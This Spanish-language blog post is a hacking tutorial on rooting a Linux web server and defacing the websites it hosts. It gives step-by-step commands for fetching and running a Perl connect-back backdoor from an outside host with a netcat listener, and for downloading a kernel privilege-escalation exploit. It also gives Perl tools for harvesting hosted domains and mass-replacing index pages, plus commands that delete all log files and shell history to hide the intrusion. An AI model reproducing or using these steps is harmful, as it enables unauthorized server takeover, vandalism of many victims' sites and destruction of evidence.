Rootear Servidor

============================== =====
=========== INDICE ==============
============================== =====


[ 1 ] Introdución
[ 2 ] Explicación de Permisos
[ 3 ] Acomodando Backshell en el Server
[ 4 ] Poniendo a la Escucha NetCat
[ 5 ] Onteniendo Informacion del Server
[ 7 ] Dar permisos y Ejecutar el Binario (r00texploit)
[ 8 ] Haciendo el Mass Defacement
[ 9 ] Borrando log's
[ 11 ] Despedida

============================== =====
============================== =====
============================== =====

========================
sh-2.05b$ ./Introdución
========================

Hola Amigos!
En este tutorial les voy a explicar como conseguir acesso r00t en un server LinuX.
Tambien se explicara como hacer el mass defacement, borrar logs y algun par de cosas mas.
Espero ke les guste ;=)

Empezemos con el asunto.

============================== ======
sh-2.05b$ ./Explicación de Permisos
============================== ======

Cuando tenemos haceso a un Server con una shell, nos fijamos que al lado de cada
archivo o carpeta nos salen estas letras:

(R) Lectura
(W) Escritura
(x) Ejecutación
(d) Directorio
(-) No tenemos permiso de escritura

Cuando estes en netcat y pulses ls para ver los archivos y directorios ke hay, no les saldran
los permisos que tene cada carpeta para verlos, en vez de solo poner ls, le añadimos -la

Ejemplo:
Código:

ls -la


Y a la izquierda del todo les saldran hay los permisos.
No solo les saldran los permisos, sino tambien la fecha que se subio, hora, etc...

Weno pues hay se les kitaron las dudas, ya saben lo que significa cada letra.

============================== ================
sh-2.05b$ ./Acomodando Backshell en el Server
============================== ================

Ahora subimos una backshell como la data cha0s [dc.pl], la backshell de d.o.m [dback.pl] ..que son backshells en perl.
en este texto lo are con data cha0s [dc.pl]
La subiremos en el directorio /tmp/ que es un directorio donde se guardan archivos temporales
y en un 99% de los servers tendremos permisos de escritura :D

Para ir al directorio /tmp/ y subir la backshell ejecutaremos lo siguiente:

Código:

cd /tmp/;wget 0wn3d.by.ru/dc.pl

pero si entramos al server con una shell como r57 o c99 seria mejor irte al directorio por donde la shell
poner: /tmp
subir el dc.pl por el upload de la shell.

Codigo dc.pl: http://ka0x.org/dc.txt
codigo dback.pl: http://ka0x.org/dback.txt

============================== ==========
sh-2.05b$ ./Poniendo a la Escucha NetCat
============================== ==========

Una vez subida la dc.pl...
nos bajamos netcat y para mejor facilidad lo copiamos en:
C:\WINDOWS\system32

Despues nos vamos a Inicio => ejecutar => cmd
y en el cmd dejaremos un puerto a la escucha, en este caso el 9000, tenemos que ejecutar lo suguiente en el cmd:

nc -lvvp 9000

Cuando le pongamos a la escucha deberia aparecer lo siguiente:

listening on [any] 9000 ...

Ahora ya vamos a la shell y ejecutamos (en el ejecutor de comandos) la dc.pl para conectarnos a nuestro PC de la
siguiente manera:

perl dc.pl TUIP PUERTOaLAescuchaENnetcat

Ejemplo:

perl dc.pl 10.0.1.251 9000

Nos Saldra lo siguiente en nuestra shell si se conecta a nuestro PC.

Data Cha0s Connect Back Backdoor

[*] Dumping Arguments
[*] Connecting...
[*] Spawning Shell
[*] Datached


Ahora nos fijamos en netcat y nos aparecera ke nos hemos conectado.
Parecido a esto:
Código:

connect to [00.00.00.00] from euirc.gr [66.225.230.248] 57566

Hay ya tamos conectados al server desde nuestro PC :)
Weno ahora la php shell con lo ke subimos la dc y nos conectamos ya la podemos cerrar, ya que
ahora aremos todo ejecutando comandos desde la shell ke tenemos en netcat.

============================== =================
sh-2.05b$ ./Obteniendo Informacion del Server
============================== =================

Ponemos en el netcat:

pwd;uname -a

Significado de cada Comando:

pwd: Te dice en el Directorio que estas
uname -a: Informacion del Sistema

Al ejecutar eso les deberia salir algo parecido a esto:
Código:

/tmp
Linux server.corpoweb.com 2.4.20-021stab028.24.777-enter prise #1 SMP Fri Jan 6
9:39:27 MSK 2006 i686 athlon i386 GNU/Linux

============================== ============================== =
sh-2.05b$ ./Dar permisos y Ejecutar el Binario (r00texploit)
============================== ============================== =

Weno una vez que ya sabemos el kernel (2.4.20) podemos ir a www.milw0rm.com
y buscar su r00texploit.

En este caso utilizaremos el r00texploit "uselib24"
Pero casi todos los binarios se utilizan igual de como realizaremos.

Le subimos al server de esta manera (desde el netcat, claro):

wget http://www2.binaryshadow.org:8 1/~w00t/my/uselib24

Cuando este subido le damos permisos 777 (Lectura, escritura, ejecutacion) de esta forma:
Código:

chmod -c 777 uselib24

* la opcion -c es para que cuando el archivo cambie a permisos 777 te avise que se cambiaron.
* tambien si quieres puedes dar solo permisos de ejecucion: chmod +x uselib24.

Y una vez que se le de permisos 777 nos saldra un mensaje como este (si utilizamos la opcion -c):

mode of `uselib24' changed to 0777 (rwxrwxrwx)

Ahora para ejecutar los binarios lo hacemos de esta forma:

./binario

En este momento:

./uselib24

Y no mas ejecutarle nos saldra esto:

# SLAB cleanup
child 1 VMAs 15599
# moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
# vmalloc area 0xdf000000 - 0xfdea2000
Wait... -
# race won maps=23890
expanded VMA (0xbfffc000-0xffffe000)
[!] try to exploit 0xe0166000
# gate modified ( 0xffec958b 0x0804ec00 )
# exploited, uid=0


Ahora ponemos id...

uid=0(root) gid=0(root) groups=48(apache),2523(psaserv )

ya tenemos uid(0) de root.
Ahora el server esta en nuestras manos :P

A la hora de ejecutar el uselib24 tengan calma, ya que habeces
suele tardar bastante en cargar (una vez me tardo como 1 hora) y muchas veces dosea el server y cuando
vuelve a funcar el server eres r00t (cuando se flodea).

La mayoria de los r00texploits no suelen tardar tanto y no suelen salir asi
texto como salia en este. En los demas le das permisos, le ejecutas, es recomendable
esperar por lo menos 1 minuto despues pulsas id y con suerte eres r00t.

El kernel no rootea por la version (ejemplo: 2.4.20) sino por el año del kernel, incluso mes y dia.
Como saben de los kernels 2.6.x solo rootean asta julio del 2006 que es el bug de prctl.
Igual que el w00t funca en los servers que tengan el kernel del año 2003 ...etc

============================== =========
sh-2.05b$ ./Haciendo el Mass Defacement
============================== =========

Weno ya que somos r00t y es nuestro el server xD vamos a dejar a las webs
que aloja un index xD.

1º- Hacemos nuestro index, le subimos a un server nuestro y despues lo
subimos a /tmp/ da igual donde lo suban, ya ken son root xD

Lo subimos asi:

wget urldenuestraweb.com/index.html

O tambien pueden coger otra vez la phpShell, van a tmp y lo suben ...

2º- Buscamos las webs alojadas con este comando:

find / -name httpd.conf

* les aconsejo utilizar el comando locate ya que lo hace todo mas rapido (mucho mas :D)
* claro que el comando locate busca de una base de datos y si esa base de datos no la
* izieron update, solo encontrara archivos viejos desde cuando izieron el ultimo update
* asi que para updatear la db que utiliza locate ejecutamos:
* updatedb y cuando acabe pues buscamos:
* locate httpd.conf


Una vez que nos busque el archivo nos saldra en pantalla su directorio,
ahora para ver lo ke hay dentro utilizaremos el comando cat.
Ejemplo:

si el httpd.conf esta en el directorio:

/etc/httpd/conf/httpd.conf

Le ponemos el comando cat asi:

cat /etc/httpd/conf/httpd.conf

Hay nos saldran las webs alojadas en el server y tambien mucha info que no nos
interesa, asi que para sacar solo las webs, ponemos:

cat /home/tx15/httpd.conf|grep ServerName

Hay les saldran los dominios :)

esto del server name y httpd.conf solo es el apache 1.3.x
aqui les explico como sacar los dominios en apache 2.x :D (Nuevo :P)

Los de apache aqui ya se encabronaron jakjaskajsaksa.

tenemos 2 rutas:
sites-enabled ---> sitios habilitados
sites-available ---> sitios disponibles

podemos buscarlas con un find o con un locate.
la que nos interesa es sites-enabled, ya que hay encontraremos los dominios que estan corriendo..

en sites-avaliable estan los dominios que hay, que habían,
ó que habrán... pero no están corriendo.

bueno, se preguntaran, y que archivo tiene los dominios???
pues bueno como los de apache se encabronaron XDD en cada archivo de la carpeta
puede aber 1 dominio, 2, 3, etc...

asi que nos podemos ir a la ruta de sites-enabled y podemos ejecutar
este comando que me facilito mi amigo jasus :P

cat * |grep NameVirtualHost | grep -v ^\# | cut -f 2 -d " " >domains.txt

grep -v ====>> filtra las lineas que "NO" contengan ..
^ ====>> líneas que empiezan
\# ====>> por la #, la \ delante, porque sino bash, interpretaria como comentario.
-f 2 ====>> 2ª celda
-d " " ====>> delimitador, un espacio.
>domains.txt ====>> los metemos a un texto llamado domains.txt


Si el server tiene cpanel podemos buscar los dominios de la siguiente forma:

En "/etc/trueuserowners" ; encontramos los nombres de los usuariosde las webs.
en "/etc/trueuserdomains&quo t; podemos encontrar los dominios.

Ize una pequeña t00l para sacar los dominios de cpanel, aqui dejo el c0de:

~~~~~~~~~~~~~~~~~~~~ cortar ~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/perl

# D.o.M TEAM 2007
# written by ka0x
# anonyph;arp;ka0x;xarnuz

use Cwd;
print "[+] domains cpanel - D.O.M TEAM\n";
print "[+] buscando archivo de dominios...\n";
open (DOMAINS,"/etc/trueuserdo mains") || die "[-] Error: $!\n";
print "[+] Archivo encontrado.\n";
print "[+] Creando domains.txt en ";
print getcwd(),"\n";
open (TXT,">domains.txt&quo t;) || die "$!\n";
my $sitios = 0;
while (my $do = readline(*DOMAINS)){
my @dom = split(/:/,$do);
my $sitio = $dom[0];
print TXT $sitio."\n";
$sitios++;
}
print "[+] done\n";
print "[+] dominios encontrados: $sitios\n";

__END__

~~~~~~~~~~~~~~~~~~~~ cortar ~~~~~~~~~~~~~~~~~~~~~~

en /var/cpanel/accounting.log tambien se guardan dominios.

- /var/named

bueno en bastantes servers esta este dir...
no mas se van a /var/named, hacen ls y hay veran los nombres de los sitios con alguna terminacion mas.
por ejemplo:

www.sitio.com.db
www.owner.com.db

no mas, pueden hacer; ls >domains.txt despues con el block de notas kitan
la extension .db.

si no existe /var/named pueden mirar aver si existe el archivo:
/etc/named.conf

y hay se finan y ven cual es la ruta k sustituye /var/named.
o van metiendo en un txt uno por uno :P

/etc/vdomainaliases

bueno en esta ruta se suelen encontrar los dominios y subdominios
del servidor..

----

una vez en el server que tenia 1800 webs que roote, no veia por ningun sitio los dominios, entonces
cogi y si entre por www.web.com, ize un find:

find / -name www.web.com

y di con un directorio, me meti, ize ls y vi que ayi estaban los dominios :|
entonces cogi, puse un pipe al ls (|) con la funcion mail y me envie los dominios
al email.

tambien pueden utilizar la direccion:
http://whois.webhosting.info/

ponen la ip despues de esa direccion; ejemplo:

http://whois.webhosting.info/x x.xx.xx.xx

y hay les dice las paginas webs que esta registradas a esa ip, pero no les recomiendo eso, ya
que casi nunca pone los dominios que hay...

muchas veces entras a servers con 500, 200 webs, lo miras por hay y solo te aparecen la mitad e incluso
algunas veces no te sale ninguna.

tambien les explicare como buscarlas por Virtual Hosting (vhost):

dir: /etc/httpd/conf/vhosts

ejecutamos el comando ls y hay podremos ver archivos como:

sitio1
sitio2
sitio3...

ejecutamos lo siguiente:

cat sitio* | grep ServerName

y lo que hacemos es abrir los archivos (sitio1, sitio2,etc,etc) y coger los dominios...


~~~~~~~~~~~~~~~~~~~~~~
Posibles rutas de vhost:

/etc/httpd/conf/vhosts/
/etc/apache/vhosts/
/usr/local/apache/conf/vhosts/
/home/admin/vhosts/
/var/www/vhosts/
/etc/conf/vhosts/
/etc/httpd/vhosts/
/etc/conf/httpd/vhosts/
/etc/httpd/conf/vhosts/
/etc/apache/vhosts/
/usr/local/apache/conf/vhosts
/home/admin/vhosts/
/var/www/vhosts/
/etc/conf/vhosts/
/etc/httpd/vhosts/
/etc/conf/httpd/vhosts/

Tambien podemos hacer locate vhost.conf y hacer como lo del httpd.conf
les mostrara las rutas, hacen cat /rutadelvhost/vhost.conf|grep ServerName
y les tirara las webs :)


/************************/
Weno como ya tenemos los dominios, les guardamos en nuestro PC en un .txt

3º- Ahora buscaremos todos los index.* del server y los sustituiremos
por el nuestro con este comando:

find /home/ -name "index.*" -exec cp /tmp/index.html {} \;

Hay hemos puesto que busque los index.* en /home/ (Si saben que estan las webs alojadas
en otro directorio lo cambian y listo) y ke les sustituya por el index nuestro que tenemos
subido en /tmp/. Aqui dejenlo buen rato si hay varias webs y vayan a tomarse algo Giñar
Una vez que este esto, ya deberian en las webs nuestro index.

Ize una t00l para hacer mass defacement en perl, aqui dejo el c0de:

------------------------------ ------------------------------ -----------------

#!/usr/bin/perl
# Mass Defacement t00l
# D.O.M TEAM
# written by ka0x
# anonyph; arp; ka0x; xarnuz

use strict;
print "\n\t", '-' x 30,"\n";
print "\t[ Mass Defacement t00lz ]\n";
print "\t[ D.O.M TEAM 2007 ]\n";
print "\t[ 3sk0rbut0\@gmail.com ]\n";
print "\t",'-' x 30,"\n\n";
if(!$ARGV[0])
{
print "\nUsage: perl $0 \n";
print "Example: perl $0 /tmp/index.html /home/\n";
exit;
}

my $i = $ARGV[0];
my $p = $ARGV[1];

unless(-e $i){ die "\nNo existe el archivo: $i. Intenta de nuevo\n\n" }
unless(-e $p){ die "\nNo existe el directorio: $p. Intenta de nuevo\n\n" }
print "[+] Comenzando Mass Defacement..\n";
print "[+] Defaceando archivos de $p por $i\n";
print "[+] index.* main.* home.* default.* sustituyendose...";

system "find /$p -name \"index*\" -exec cp $i {} \\;";
system "find /$p -name \"main*\" -exec cp $i {} \\;";
system "find /$p -name \"home*\" -exec cp $i {} \\;";
system "find /$p -name \"default*\" -exec cp $i {} \\;";
print "[+] Archivos sustituidos\n";
print "[+] Mass Defacement Realizado\n\n";

------------------------------ ------------------------------ -----------------

===========================
sh-2.05b$ ./Borrando Log's
===========================

Bien ahora borraremos las huellas jeje
Weno para borrar los logs hay bastantes t00ls para distintos S.O, como aqui andamos en linux
aqui les dejo un pack de zappers para borrar logs en linux:
http://ka0x.org/zappers_logs.r ar

si ya lo tenemos en algun sitio como lycos o otro lado, podriamos hacer un wget del perl o binario..
en este caso subire ka0x.pl que es un zapper de logs que c0dee yo con el comando wget de un server:
wget 0wn3d.by.ru/ka0x.pl

O tambien la pueden subir desde la phpShell con el Uploader.
Una vez subida la damos permisos 777

Ya saben:

chmod -c 777 ka0x.pl

Nos tirara esto si le da permisos 777 (opcion -c):

mode of `ka0x.pl' changed to 0777 (rwxrwxrwx)

Ahora le ejecutamos de la siguiente manera:

perl ka0x.pl

Se ejecutara la tool y empezara a buscar logs y archivos que registran lo que izimos.
La tool puede ke tarde un poco en buscarles y borrarles, pero kederaba bien =D

Si no se fijan de la tool tambien puden ejecutar los siguientes comandos:
Este buscar todos los archivos con terminación .log y te los borra:

find / -name "*.log" -exec rm -rf {} \;

Despues borramos los archivos bash_history y bash_logout:

cd /;rm .bash_history
cd /;rm .bash_logut

Si no os encuentra ninguno de esos archivos, reseteamos el archivo que guarda el Historial:

unset HISTFILE

No hay comentarios:

Publicar un comentario